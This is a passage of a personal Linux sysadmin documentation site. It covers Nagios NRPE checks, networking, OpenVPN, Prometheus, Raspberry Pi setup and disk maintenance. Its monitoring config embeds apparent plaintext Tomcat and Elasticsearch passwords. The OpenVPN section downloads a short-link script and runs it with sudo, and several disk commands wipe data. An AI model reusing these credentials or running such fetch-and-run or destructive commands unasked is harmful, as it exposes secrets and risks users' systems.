3 notification_period 24x7 service_description Disk vda1 Status use generic-service } define service { check_command check_tcp!22 display_name SSH/sftp Port 22 host_name server.example.com max_check_attempts 3 notification_period 24x7 service_description SSH/sftp Port 22 use generic-service } define service { check_command check_nrpe!check_total_procs display_name Total Procs host_name server.example.com max_check_attempts 3 notification_period 24x7 service_description Total Procs use generic-service } define service { check_command check_nrpe!check_users display_name User Check host_name server.example.com max_check_attempts 3 notification_period 24x7 service_description Users Check use generic-service } define service { check_command check_nrpe!check_zombie_procs display_name Zombie Procs host_name server.example.com max_check_attempts 3 notification_period 24x7 service_description Zombie Procs use generic-service } define service { check_command check_nrpe!check_OpManager display_name Netflow Service host_name server.example.com max_check_attempts 3 notification_period 24x7 service_description Netflow Service Status use generic-service } define service { check_command check_nrpe!check_mysql display_name MySQL Status host_name nagiosserver.example.com max_check_attempts 3 notification_period 24x7 service_description MySQL Status use generic-service } ``` **In the GUI:** After adding the host and reloading the Nagios service, quickly go to the Nagios GUI and mute the notifications. You can also schedule a check to re-check the host's service statuses (almost) immediately, view the status detail for the host (list of items Nagios is monitoring), etc. ![nagios](_images/nagios-1.png) ### On the host to monitor ``` bash # See if Nagios is already installed dpkg -l | grep nagios # Install Nagios apt-get install nagios-nrpe-server nagios-plugins-basic # Add your custom checks (see below custom_nrpe.cfg file) nano /etc/nagios/nrpe.d/custom_nrpe.cfg # Create the check_mem plugin, as it's a custom, standard check (see below check_mem file) nano /usr/lib/nagios/plugins/check_mem # Make the file executable chmod +x /usr/lib/nagios/plugins/check_mem # Add x.x.x.x (servername) to the allowed hosts (you will get "CHECK_NRPE: Error - Could not complete SSL handshake." in Nagios GUI if you don't add this line) nano /etc/nagios/nrpe.cfg allowed_hosts=127.0.0.1,x.x.x.x # Restart the nagios-nrpe-server for it to recognise the change /etc/init.d/nagios-nrpe-server restart ``` **File custom_nrpe.cfg** ``` bash ########################################################## # # # you can place all you custom-config snipplets here # # only snipplets ending in .cfg will get included # # # ########################################################## # # Generic Checks - For all nodes command[check_zombie_procs]=/usr/lib/nagios/plugins/check_procs -w 5 -c 10 -s Z command[check_total_procs]=/usr/lib/nagios/plugins/check_procs -w 600 -c 800 command[check_vda1]=/usr/lib/nagios/plugins/check_disk -w 10% -c 5% -x tmpfs -x udev -x /snap/* command[check_disk_inode]=/usr/lib/nagios/plugins/check_disk_inodes -w 80 -c 90 -p / command[check_running_proc]=/usr/lib/nagios/plugins/check_procs $ARG1$ command[check_puppet_agent]=sudo /usr/lib/nagios/plugins/check_puppet_agent command[check_open_deleted_files]=sudo /usr/lib/nagios/plugins/check_open_deleted_files -w 15000000000 -c 20000000000 command[check_kernel]=sudo /usr/lib/nagios/plugins/check_kernel command[check_users]=/usr/lib/nagios/plugins/check_users -w 10 -c 20 command[check_sssd_status]=/usr/lib/nagios/plugins/check_sssd_status command[check_java_version]=/usr/lib/nagios/plugins/check_java_version # Check Load - Defined per node type ##command[check_load]=/usr/lib/nagios/plugins/check_load -w 15.0,10,5 -c 30,25,20 # command[check_load]=/usr/lib/nagios/plugins/check_load -r -w 2.5,2,1.5 -c 4,3.5,3 # Check Load - Defined per node type command[check_mem]=/usr/lib/nagios/plugins/check_mem -w 85 -c 95 # KONG Checks command[check_kong]=/usr/lib/nagios/plugins/check_kong # ntpd Checks command[check_ntpd]=/usr/lib/nagios/plugins/check_ntpd --peer_warning 1 --peer_critical 0 # TOMCAT Checks #command[check_tomcat]=/usr/lib/nagios/plugins/check_tomcat -H localhost -p 8080 -w 10%,50 -c 5%,10 -l nagios -a i1I605LzIG7V command[check_tomcat]=/usr/lib/nagios/plugins/check_tomcat 10 80 10 admin Masehare # Percona/MySQL Checks command[check_percona_cluster_size]=sudo /usr/lib64/nagios/plugins/pmp-check-mysql-status -x wsrep_cluster_size -C '<=' -w 2 -c 1 command[check_percona_primary_cluster]=sudo /usr/lib64/nagios/plugins/pmp-check-mysql-status -x wsrep_cluster_status -C == -T str -c non-Primary command[check_percona_local_node_sync]=sudo /usr/lib64/nagios/plugins/pmp-check-mysql-status -x wsrep_local_state_comment -C '!=' -T str -w Synced command[check_percona_flow_control]=sudo /usr/lib64/nagios/plugins/pmp-check-mysql-status -x wsrep_flow_control_paused -w 0.1 -c 0.9 command[check_mysql_status]=/usr/lib64/nagios/plugins/pmp-check-mysql-status $ARG1$ command[check_mysql_processlist]=/usr/lib64/nagios/plugins/pmp-check-mysql-processlist command[check_mysql_innodb]=/usr/lib64/nagios/plugins/pmp-check-mysql-innodb -C $ARG1$ command[check_mysql_status_uptime]=/usr/lib64/nagios/plugins/pmp-check-mysql-status x Uptime -C '<' -w $ARG1$ -c $ARG2$ command[check_mysql_status_connx]=/usr/lib64/nagios/plugins/pmp-check-mysql-status -x Threads_connected -o / -y max_connections -T pct -w $ARG1$ -c $ARG2$ command[check_mysql_status_threadrun]=/usr/lib64/nagios/plugins/pmp-check-mysql-status -x Threads_running -w $ARG1$ -c $ARG2$ command[check_mysql_slave_running]=/usr/lib64/nagios/plugins/pmp-check-mysql-replication-running command[check_mysql_slave_delay]=/usr/lib64/nagios/plugins/pmp-check-mysql-replication-delay # MemSQL Checks - ALL command[check_memsql_orphans]=/usr/lib/nagios/plugins/check_memsql_orphans command[check_memsql_stat_only]=/usr/lib/nagios/plugins/check_memsql_dbs_only command[check_memsql_memory]=/usr/lib/nagios/plugins/check_memsql_mem command[check_port_3306_on_all_memsql_nodes]=/usr/lib/nagios/plugins/check_memsql_connections # MemSQL Checks - mem_master # NGINX Checks command[check_nginx_status]=/usr/lib/nagios/plugins/check_nginx_status -H localhost -P 9396 -w 10000 -c 20000 command[check_nginx_procs]=/usr/lib/nagios/plugins/check_procs --argument-array="/usr/sbin/nginx -g daemon on; master_process on" -w 1:1 -c 1:1 # Rabbit MQ Checks command[check_rabbit_status]=/usr/lib/nagios/plugins/check_rabbit_stat -n aliveness-test -q status command[check_rabbit_msg_ready]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q messages_ready -c 2000 -w 10000 command[check_rabbit_msg_unack]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q messages_unacknowledged -w 0 -c 10 command[check_rabbit_publish]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q publish_details command[check_rabbit_msg_ack]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q ack_details command[check_rabbit_deliver_get]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q deliver_get_details command[check_rabbit_msg_redeliver]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q redeliver_details -w 40 -c 80 command[check_rabbit_msg_deliver]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q deliver_details command[check_rabbit_deliver_no_ack]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q deliver_no_ack_details command[check_rabbit_get_no_ack]=/usr/lib/nagios/plugins/check_rabbit_stat -n overview -q get_no_ack_details command[check_rabbit_memory]=/usr/lib/nagios/plugins/check_rabbit_stat -n nodes -q memory # NODEJS Checks command[check_node_pm2_status]=/usr/bin/sudo -i -u serviceuser check_node_pm2 -A -S -R --rwarn 5 --rcrit 10 # Dockerswarm checks command[check_docker_procs]=/usr/lib/nagios/plugins/check_procs --argument-array=/var/run/docker/containerd/containerd.toml -w 1:1 -c 1:1 # # Wordpress command[check_glusterfs]=/usr/lib/nagios/plugins/check_glusterfs -v wordpress_files -n 2 command[check_php5fpm_status]=/usr/lib/nagios/plugins/check_phpfpm_status -o linux -s php5-fpm command[check_php71fpm_status]=/usr/lib/nagios/plugins/check_phpfpm_status -o linux -s php7.1-fpm command[check_wpress_version]=/usr/lib/nagios/plugins/check_wp_version # Glusterfs Checks command[check_gluster_procs]=/usr/lib/nagios/plugins/check_procs --argument-array="/usr/sbin/glusterd -p /var/run/glusterd.pid" -w 1:1 -c 1:1 command[check_glusterfs_health]=/usr/lib/nagios/plugins/check_glusterfs_health # Gitlab Checks command[check_gitlab_procs]=/usr/lib/nagios/plugins/check_procs --argument-array=/etc/gitlab-runner/config.toml -c 1:1 # ClusterControl Checks command[check_cluster_control]=/usr/lib/nagios/plugins/check_cluster_control # MongoDB command[check_mongo_connections]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_connections command[check_mongo_election]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_election command[check_mongo_repl_lag]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_repl_lag command[check_mongo_flushing]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_flushing command[check_mongo_total_indexes]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_total_indexes command[check_mongo_balance]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_balance command[check_mongo_queues]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_queues command[check_mongo_cannary_test]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_cannary_test command[check_mongo_have_primary]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_have_primary command[check_mongo_connect]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_connect command[check_mongo_oplog]=/usr/lib64/nagios/plugins/pmp-check-mongo.py -A check_oplog ## Elasticsearch command[check_elasticsearch]=/usr/lib/nagios/plugins/check_elasticsearch.sh -H localhost -u elastic -p tusfDtzYSEtb ## ZFS command[check_zfs_pool_health]=/usr/lib/nagios/plugins/check_zfs_pool_health ## Netflow command[check_OpManager]=/usr/lib/nagios/plugins/check_procs -a OpManager ## Zabbix command[check_zabbix_server]=/usr/lib/nagios/plugins/check_procs -c 1: -w 3: -C zabbix_server command[check_zabbix_agent]=/usr/lib/nagios/plugins/check_procs -c 1: -w 3: -C zabbix_agentd command[check_mysql]=/usr/lib/nagios/plugins/check_procs -a mysql ``` **File check_mem** ``` bash #!/bin/bash if [ "$1" = "-w" ] && [ "$2" -gt "0" ] && [ "$3" = "-c" ] && [ "$4" -gt "0" ]; then FreeM=`free -m` memTotal_m=`echo "$FreeM" |grep Mem |awk '{print $2}'` memUsed_m=`echo "$FreeM" |grep Mem |awk '{print $3}'` memFree_m=`echo "$FreeM" |grep Mem |awk '{print $4}'` memBuffer_m=`echo "$FreeM" |grep Mem |awk '{print $6}'` memCache_m=`echo "$FreeM" |grep Mem |awk '{print $7}'` memUsed_m=$(($memUsed_m - $memCache_m)) memUsedPrc=`echo $((($memUsed_m*100)/$memTotal_m))||cut -d. -f1` if [ "$memUsedPrc" -ge "$4" ]; then echo "Memory: CRITICAL Total: $memTotal_m MB - Used: $memUsed_m MB - $memUsedPrc% used!|TOTAL=$memTotal_m;;;; USED=$memUsed_m;;;; CACHE=$memCache_m;;;; BUFFER=$memBuffer_m;;;;" exit 2 elif [ "$memUsedPrc" -ge "$2" ]; then echo "Memory: WARNING Total: $memTotal_m MB - Used: $memUsed_m MB - $memUsedPrc% used!|TOTAL=$memTotal_m;;;; USED=$memUsed_m;;;; CACHE=$memCache_m;;;; BUFFER=$memBuffer_m;;;;" exit 1 else echo "Memory: OK Total: $memTotal_m MB - Used: $memUsed_m MB - $memUsedPrc% used|TOTAL=$memTotal_m;;;; USED=$memUsed_m;;;; CACHE=$memCache_m;;;; BUFFER=$memBuffer_m;;;;" exit 0 fi else # If inputs are not as expected, print help. sName="`echo $0|awk -F '/' '{print $NF}'`" echo -e "\n\n\t\t### $sName Version 2.0###\n" echo -e "# Usage:\t$sName -w -c " echo -e "\t\t= warnlevel and critlevel is percentage value without %\n" echo "# EXAMPLE:\t/usr/lib64/nagios/plugins/$sName -w 80 -c 90" echo -e "\nCopyright (C) 2012 Lukasz Gogolin (lukasz.gogolin@gmail.com), improved by Nestor 2015\n\n" exit fi ``` ### Troubleshooting ``` bash ### On the Nagios Box # Check the log, grepping a part of the server name you what to see a log for tail -f /var/log/nagios3/nagios.log | grep netflow ### On the Host to Monitor ## Test to see if you can run the checks (these are found in /etc/nagios/nrpe.d/custom_nrpe.cfg) # CPU Load /usr/lib/nagios/plugins/check_load -r -w 2.5,2,1.5 -c 4,3.5,3 # Disk vda1 Status /usr/lib/nagios/plugins/check_disk -w 10% -c 5% -x tmpfs -x udev -x /snap/* # Memory /usr/lib/nagios/plugins/check_mem -w 85 -c 95 # Total Procs /usr/lib/nagios/plugins/check_procs -w 600 -c 800 # Users Check /usr/lib/nagios/plugins/check_users -w 10 -c 20 # Zombie Procs /usr/lib/nagios/plugins/check_procs -w 5 -c 10 -s Z ``` --- # Networking Source: docs/computing/linux/networking.md URL: https://docs.calebsargeant.com/computing/linux/networking/ ## IPTables ## Creating & Deleting Rules **Create** ``` bash iptables -A INPUT -i eth0 -p tcp --dport 80 -j ACCEPT iptables -A INPUT -i eth0 -p tcp --dport 443 -j ACCEPT ``` **Delete** ``` bash iptables -D INPUT -i eth0 -p tcp --dport 80 -j ACCEPT iptables -D INPUT -i eth0 -p tcp --dport 443 -j ACCEPT ``` ## List & Delete Rules ``` bash # List the rules iptables -L INPUT --line-numbers # Delete rule 2 for example iptables -D INPUT 2 # Specify a table iptables -t nat -D PREROUTING 1 ``` ## LACP ``` bash sudo apt-get update -y && sudo apt-get upgrade -y sudo service networking stop sudo nano /etc/network/interfaces #/etc/network/interfaces auto lo iface lo inet loopback iface eno1 inet manual bond-master bond0 iface eno2 inet manual bond-master bond0 auto bond0 iface bond0 inet manual bond-mode 4 bond-miimon 100 bond-lacp rate 1 bond-slaves none auto br0 iface br0 inet static address 10.0.0.253 gateway 10.0.0.1 netmask 255.255.255.0 bridge-ports bond0 bridge-stp off bridge-fd 0 bridge-maxwait 0 # sudo service networking start ``` ## Netcat ``` bash # Check RADIUS UDP 1812 Port Status nc -vnzu 10.11.12.13 1812 ``` ## Dig A & CNAME: `dig @dnsserver.example.com +short domain.com` NS: `dig @dnsserver.example.com +short NS domain.com` MX: `dig @dnsserver.example.com +short MX domain.com` PTR: `dig @dnsserver.example.com +short -x 10.11.12.13` ### Public IP Use `208.67.222.222` instead of resolver1 if no DNS. `dig +short myip.opendns.com @resolver1.opendns.com` ## Change Hostname ``` bash sudo hostnamectl set-hostname sudo nano /etc/hosts ``` ## Netplan Static vs dynamic IP Address configuration. `sudo nano /etc/netplan` ``` yaml # DYNAMIC (defaults) network: version: 2 ethernets: eth0: dhcp4: true match: macaddress: xx:xx:xx:xx:xx:xx set-name: eth0 # STATIC network: ethernets: eth0: addresses: - 10.0.2.3/24 gateway4: 10.0.2.1 nameservers: addresses: - 10.0.2.1 search: - example.com version: 2 ``` ## Ubuntu 16 - Change IP & Hostname **Static IP** ``` bash cd /etc/sysconfig/network-scripts/ vi ifcfg-eth0 DEVICE=eth0 BOOTPROTO=none ONBOOT=yes NETMASK=xxx.xxx.xxx.xxx IPADDR=xxx.xxx.xxx.xxx TYPE=Ethernet vi /etc/sysconfig/network NETWORKING=yes NETWORKING_IPV6=no HOSTNAME=hostname.domainname.co.za GATEWAY=xxx.xxx.xxx.xxx /etc/init.d/network restart ``` **Dynamic IP** `dhclient ethx` or: ``` bash cd /etc/sysconfig/network-scripts/ vi ifcfg-eth0 DEVICE=eth0 BOOTPROTO=dhcp ONBOOT=yes TYPE=Ethernet vi /etc/sysconfig/network NETWORKING=yes NETWORKING_IPV6=no HOSTNAME=hostname.domainname.co.za GATEWAY=xxx.xxx.xxx.xxx /etc/init.d/network restart ``` **Hostname Change** ``` bash hostname --fqd vi /etc/sysconfig/network HOSTNAME= vi /etc/hosts reboot ``` --- # OpenVPN Source: docs/computing/linux/openvpn.md URL: https://docs.calebsargeant.com/computing/linux/openvpn/ ``` bash wget https://git.io/vpn -O openvpn-ubuntu-install.sh chmod -v +x openvpn-ubuntu-install.sh sudo ./openvpn-ubuntu-install.sh ``` --- # Prometheus Source: docs/computing/linux/prometheus.md URL: https://docs.calebsargeant.com/computing/linux/prometheus/ ## Installation ``` bash # https://www.howtoforge.com/how-to-install-prometheus-on-ubuntu-20-04/ # https://linuxhint.com/install_prometheus_ubuntu/ # Create Prometheus System User sudo useradd --no-create-home --shell /bin/false prometheus sudo useradd --no-create-home --shell /bin/false node_exporter # Create Prometheus Directories sudo mkdir /etc/prometheus sudo mkdir /var/lib/prometheus # Downloading and Installing Prometheus # https://prometheus.io/download wget tar -xvf prometheus-2.28.1.linux-amd64.tar.gz sudo cp prometheus-2.28.1.linux-amd64/prometheus /usr/local/bin/ sudo cp prometheus-2.28.1.linux-amd64/promtool /usr/local/bin/ sudo chown prometheus:prometheus /usr/local/bin/prometheus sudo chown prometheus:prometheus /usr/local/bin/promtool sudo cp -r prometheus-2.28.1.linux-amd64/consoles /etc/prometheus sudo cp -r prometheus-2.28.1.linux-amd64/console_libraries /etc/prometheus sudo chown -R prometheus:prometheus /etc/prometheus/consoles sudo chown -R prometheus:prometheus /etc/prometheus/console_libraries # Create Prometheus Configuration File sudo nano /etc/prometheus/prometheus.yml global: scrape_interval: 15s scrape_configs: - job_name: 'prometheus' scrape_interval: 5s static_configs: - targets: ['localhost:9090'] # Create Prometheus Service sudo nano /etc/systemd/system/prometheus.service [Unit] Description=Prometheus Wants=network-online.target After=network-online.target [Service] User=prome Group=prome Type=simple ExecStart=/usr/local/bin/prometheus \ --config.file /etc/prometheus/prometheus.yml \ --storage.tsdb.path /var/lib/prometheus/ \ --web.console.templates=/etc/prometheus/consoles \ --web.console.libraries=/etc/prometheus/console_libraries [Install] WantedBy=multi-user.target sudo systemctl daemon-reload sudo systemctl enable prometheus sudo systemctl status prometheus ``` ## Check if Config is Valid ``` bash ./promtool check config prometheus.yml ``` --- # Raspberry Pi Source: docs/computing/linux/raspberry.md URL: https://docs.calebsargeant.com/computing/linux/raspberry/ All Raspberry Pi-related stuff. ## Writing SD Card ``` bash # List disks to find SD card disk number (diskN) diskutil list # Unmount the disk diskutil unmountDisk /dev/diskN # Write the image to SD card. Check the progress by pressing Ctrl+T. sudo dd bs=1m if=/Users/caleb/Downloads/raspberry.img of=/dev/rdiskN; sync # Eject the disk afterwards sudo diskutil eject /dev/rdiskN ``` ## Firmware Update ``` bash sudo rpi-update sudo reboot ``` ## Parsec ``` bash # Make sure to set the resolution and graphics memory sudo raspi-config # advanced options # GL Driver # Disable # Download & install https://github.com/hitesh83/pwomxplayer-support/archive/refs/heads/main.zip to get rid of the lib error # Download https://builds.parsecgaming.com/channel/release/appdata/rpi/latest and move to ~/.parsec/appdata.json # Download https://builds.parsecgaming.com/channel/release/binary/rpi/gz/parsecd-150-47.so and copy to ~/parsec/ # Or download the below and copy to ~/parsec ``` [Parsec Files](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/parsecfiles.7z) ## Mail ``` bash apt install mailutils # mail command will use exim4 by default, so change exim4 config to be on internet instead of local nano /etc/exim4/update-exim4.conf.conf dc_eximconfig_configtype='internet' # restart exim4 systemctl restart exim4 # Check the log of sending maik tail -f /var/log/exim4/mainlog # Sending a mail echo "my body" | mail -s "mysubject" contact@calebsargeant.com ``` ## Swap File Size ``` bash sudo dphys-swapfile swapoff sudo nano /etc/dphys-swapfile CONF_SWAPSIZE=1024 sudo dphys-swapfile setup sudo dphys-swapfile swapon ``` ## Web Server ### Apache ``` bash sudo apt install apache2 -y sudo usermod -a -G www-data pi sudo chown -R -f www-data:www-data /var/www/html nano /var/www/html/index.html ``` ### PHP ``` bash sudo apt install php7.4 libapache2-mod-php7.4 php7.4-mbstring php7.4-mysql php7.4-curl php7.4-gd php7.4-zip -y sudo nano /var/www/html/example.php ServerName example.com ServerAlias www.example.com DocumentRoot /var/www/example.com/public_html ErrorLog ${APACHE_LOG_DIR}/example.com_error.log CustomLog ${APACHE_LOG_DIR}/example.com_access.log combined sudo mkdir -p /var/www/example.com/public_html sudo chown -R www-data:www-data /var/www/example.com/public_html sudo a2ensite example.com.conf sudo systemctl reload apache2 ``` ## USB Audio ``` bash nano /usr/share/alsa/alsa.conf defaults.ctl.card 1 defaults.pcm.card 1 alsamixer speaker-test -c2 ``` ## Bluetooth Speaker Work in progress... RPI3B audio still skips every once in a while, despite official power adapter. ``` bash # Install bluetooth & pulseaudio & bluez-tools (for autopairing/trusting) sudo apt-get install pulseaudio pulseaudio-module-bluetooth bluez-tools # Fix audio before you even get problems https://askubuntu.com/questions/707171/how-can-i-fix-choppy-audio (still getting audio jumps over bluetooth) /etc/pulse/default.pa load-module module-udev-detect load-module module-udev-detect tsched=0 pulseaudio -k # Add user to bluetooth group & reboot sudo usermod -a -G bluetooth pi # Make pi discoverable as an A2DP Sink sudo nano /etc/bluetooth/main.conf ... Class = 0x41C ... DiscoverableTimeout = 0 ... sudo systemctl restart bluetooth # Run & config bluetoothctl (can also be used to troubleshoot connections - just run bluetoothctl and connect device) bluetoothctl power on discoverable on pairable on agent on default-agent system-alias 'Your New BT Alias' quit # Start & enable pulseaudio (as pi user) pulesaudio --start sudo systemctl status bluetooth systemctl --user enable pulseaudio # Enable autologin as pi user sudo raspi-config 3 Boot Options B1 Desktop / CLI B2 Console Autologin sudo reboot now # Configure bluez-tools sudo nano /etc/systemd/system/bt-agent.service [Unit] Description=Bluetooth Auth Agent After=bluetooth.service PartOf=bluetooth.service [Service] Type=simple ExecStart=/usr/bin/bt-agent -c NoInputNoOutput [Install] WantedBy=bluetooth.target # Start & Enable bt-agent sudo systemctl enable bt-agent sudo systemctl start bt-agent sudo systemctl status bt-agent # OPTIONAL: Adding a PIN sudo nano /etc/bluetooth/pin.conf * 123456 sudo chmod 600 /etc/bluetooth/pin.conf sudo nano /etc/systemd/system/bt-agent.service [Unit] Description=Bluetooth Auth Agent After=bluetooth.service PartOf=bluetooth.service [Service] Type=simple ExecStart=/usr/bin/bt-agent -c NoInputNoOutput -p /etc/bluetooth/pin.conf ExecStartPost=/bin/sleep 1 ExecStartPost=/bin/hciconfig hci0 sspmode 0 [Install] WantedBy=bluetooth.target sudo systemctl daemon-reload sudo systemctl restart bt-agent sudo systemctl status bt-agent # OPTIONAL: Use USB bluetooth dongle (disable onboard) sudo nano /etc/modprobe.d/blacklist-bluetooth.conf blacklist btbcm blacklist hci_uart sudo reboot ``` ### Audio Config Adjusting Volume: `alsamixer` Change Audio Output Device: `sudo raspi-config` \> Advanced Options \> Audio ### Spotify Connect ``` bash # Install dependancies sudo apt install -y apt-transport-https curl # Add raspotify GPG key & repo curl -sSL https://dtcooper.github.io/raspotify/key.asc | sudo apt-key add -v - echo 'deb https://dtcooper.github.io/raspotify raspotify main' | sudo tee /etc/apt/sources.list.d/raspotify.list # Install raspotify sudo apt update sudo apt install raspotify # Changing name of device - leave "OPTIONS" alone if you don't want to tie to internet account and have it work over just the LAN (same L2 broadcast domain) sudo nano /etc/default/raspotify DEVICE_NAME="raspotify" BITRATE="160" OPTIONS="--username --password " # Restart raspotify after making changes sudo systemctl restart raspotify ``` ### Fixing Audio Attempts to fix the audio jumps: --- # Storage Source: docs/computing/linux/storage.md URL: https://docs.calebsargeant.com/computing/linux/storage/ ## Resizing Disk ``` bash [root@host ~]# df -h Filesystem Size Used Avail Use% Mounted on devtmpfs 7.6G 0 7.6G 0% /dev tmpfs 7.6G 8.0K 7.6G 1% /dev/shm tmpfs 7.6G 759M 6.9G 10% /run tmpfs 7.6G 0 7.6G 0% /sys/fs/cgroup /dev/sda1 151G 22G 123G 16% / /dev/sdc 500G 247G 254G 50% /var/lib/pgsql tmpfs 1.6G 0 1.6G 0% /run/user/1001 [root@host ~]# resize2fs /dev/sdc resize2fs 1.42.9 (28-Dec-2013) resize2fs: Bad magic number in super-block while trying to open /dev/sdc Couldnt find valid filesystem superblock. [root@host ~]# xfs_growfs /dev/sdc meta-data=/dev/sdc isize=512 agcount=4, agsize=32768000 blks = sectsz=512 attr=2, projid32bit=1 = crc=1 finobt=1 spinodes=0 data = bsize=4096 blocks=131072000, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 ftype=1 log =internal bsize=4096 blocks=64000, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 data blocks changed from 131072000 to 175636480 [root@host ~]# [root@host ~]# [root@host ~]# df -h Filesystem Size Used Avail Use% Mounted on devtmpfs 7.6G 0 7.6G 0% /dev tmpfs 7.6G 8.0K 7.6G 1% /dev/shm tmpfs 7.6G 759M 6.9G 10% /run tmpfs 7.6G 0 7.6G 0% /sys/fs/cgroup /dev/sda1 151G 22G 123G 16% / /dev/sdc 670G 247G 424G 37% /var/lib/pgsql tmpfs 1.6G 0 1.6G 0% /run/user/1001 [root@host ~]# ``` ## File System Check Loop You start up CentOS and it wants to do a File System check. You do the check, reboot and it happens again. Try the following: 1. Put a CentOS disk into the DVD-Rom 2. Start Rescue Mode 3. Type the following commands: ``` bash chroot /mnt/sysimage badblocks -sv /dev/sdax -o e2fsck -t ext3 -l /dev/sdax vi /etc/fstab comment out /dev/sdax before booting the server again ``` ## Formatting USB Flash Drive - vFAT (FAT32): `mkfs.vfat` - NTFS: `mkfs.ntfs` - EXT4: `mkfs.ext4` ``` bash # Format mkfs.ext4 -L CALEB /dev/sdx # Show information about the USB flash parted /dev/sdx print # Mound the flash mount -t ext4 /dev/sdx1 /mnt/CALEB ``` ## Repairing Grub You boot up Linux machine (CentOS) and only "grub \_" displays on the screen. You can try: 1. Boot from Linux live CD/USB 2. Start in Rescue Mode 3. Run commands ``` bash chroot /mnt/sysimage sbin/grub-install mount reboot ``` ## Mount ``` bash # install cifs-utils apt-get install cifs-utils # /etc/fstab //server/data /mnt/data cifs credentials=/root/.smbcredentials,vers=1.0,iocharset=utf8,sec=ntlm 0 0 mount -a ``` ## Mount USB Flash Disk ``` bash # Create folder for mounting mkdir -p /media/USB # List /dev/ ls /dev/ # Insert Flash now, then list /dev/ again, if flash is sdb: mount -t vfat /dev/sdb1 /media/USB # List contents of /media/USB # If dir contains System Volume Information, you good # When you are done, to safely remove: umount /media/USB ``` ## iostat ``` bash sudo apt-get install sysstat iostat -d 2 /dev/sda ``` ## DRBD ``` bash ### CONFIGURATION # After deploying DRBD through Ansible: # Initialize the metadata drbdadm create-md data # Start the resource drbdadm up data # Set primary or standby drbdadm primary --force data drbdadm secondary --force data mkfs.ext3 /dev/drbd1 mount /dev/drbd1 /mnt/data # Upgrade to DRBD v9 sudo add-apt-repository ppa:linbit/linbit-drbd9-stack sudo apt update -y && sudo apt upgrade -y ### AFTER REBOOT / POWER FAILURE # Dont panic your data is in /dev/drbd1, just need to mount it sudo drbdadm up data # on primary only sudo drbdadm primary --force data # Mount drbd1 (where the data is!) sudo mount /dev/drbd1 /mnt/data # Start docker container from compose cd /etc/docker/owncloud/ sudo docker-compose up -d # Restart deluge container to see the data again sudo docker restart deluge ``` ## ZFS ``` bash # Install ZFS sudo apt install zfsutils-linux # Check which disks to use fdisk -l # Create the pool (data will be wiped!) sudo zpool create tank /dev/sdb /dev/sdc # Check Status sudo zpool status # Create ZFS Volume in pool or tank sudo zfs create -V 3486gb tank/vol ``` ## GlusterFS ``` bash # Install GlusterFS apt install glusterfs-server -y # Add servers to hosts file (to not rely on DNS) nano /etc/hosts # Create Gluster Volume gluster volume create gv0 server:/data server2:/data force # Start Gluster Volume gluster volume start gv0 ``` ## Badblocks - You can use a Linux boot CD to repair a Windows NTFS disk fault. - If no filesystems are specified on the command line, and the `-A` option is not specified, `fsck` will default to checking filesystems in the `/etc/fstab` serial. - This can take several hours depending on the speed of your system and the size and speed of your disk. - unmount the disk first using `sudo fsck -pcfv /dev/sda`. This `fsck` command forces automatic bad block checking and it automatically marks all known bad sectors as bad too. - If you're booting back into Linux, make sure that `smartmontools` is installed and enabled with `sudo apt-get install smartmontools`. - Enable "SMART" in your BIOS if it isn't already. - Run an extended offline test with `sudo smartctl --test=long /dev/sda` - To see a nice overall view of system health: `sudo smartctl -a /dev/sda` ### Linux Harddrive 1. Put a CentOS disk into the DVD-Rom 2. Start Rescue Mode 3. Type the following commands: ``` bash fdisk -l mkdir /mnt/boot mount /dev/hdb1 /mnt/boot df -h cd /mnt/boot badblocks -sv /dev/sdax -o e2fsck -t ext3 -l /dev/sdax ``` ### Windows Harddrive !!! warning This is not a good idea! 1. Plug the ntfs disk into a Linux box 2. Boot off the Linux box 3. Type the following commands: ``` bash yum install ntfs-3g ntfs-config ntfsprogs testdisk ln -s /usr/bin/ntfsfix /usr/sbin/fsck.ntfs ln -s /usr/bin/ntfsfix /usr/sbin/fsck.ntfs-3g fdisk -l mkdir /mnt/boot mount /dev/hdbx /mnt/boot df -h cd /mnt/boot badblocks -sv /dev/hdbx -o e2fsck -t ext3 -l /dev/hdbx ``` ## MDADM ``` bash # Add entry to fstab to automount nano /etc/fstab /dev/md0 /media/data ext4 defaults 0 0 # Ensure that the mountpoint exists mkdir /media/data # Create a FS on the array if not done already mkfs.ext4 /dev/md0 # Mount the FS mount /dev/md0 /media/data # Or mount all mount -a ``` --- # Training Source: docs/computing/linux/training.md URL: https://docs.calebsargeant.com/computing/linux/training/ [Syllabus](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/Complete+Linux+Training+Syllabus.pdf) [Commands Recap](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/Commands-Recap.pdf) ## Module 1 - Concepts [Hard Disk and Disk Cache](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/Hard+Disk+and+Disk+Cache.pdf) [History of Unix](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/History+of+Unix.pdf) [Inside Linux](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/Inside+Linux.pdf) [Operating System](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/Operating+system.pdf) [Parts of an 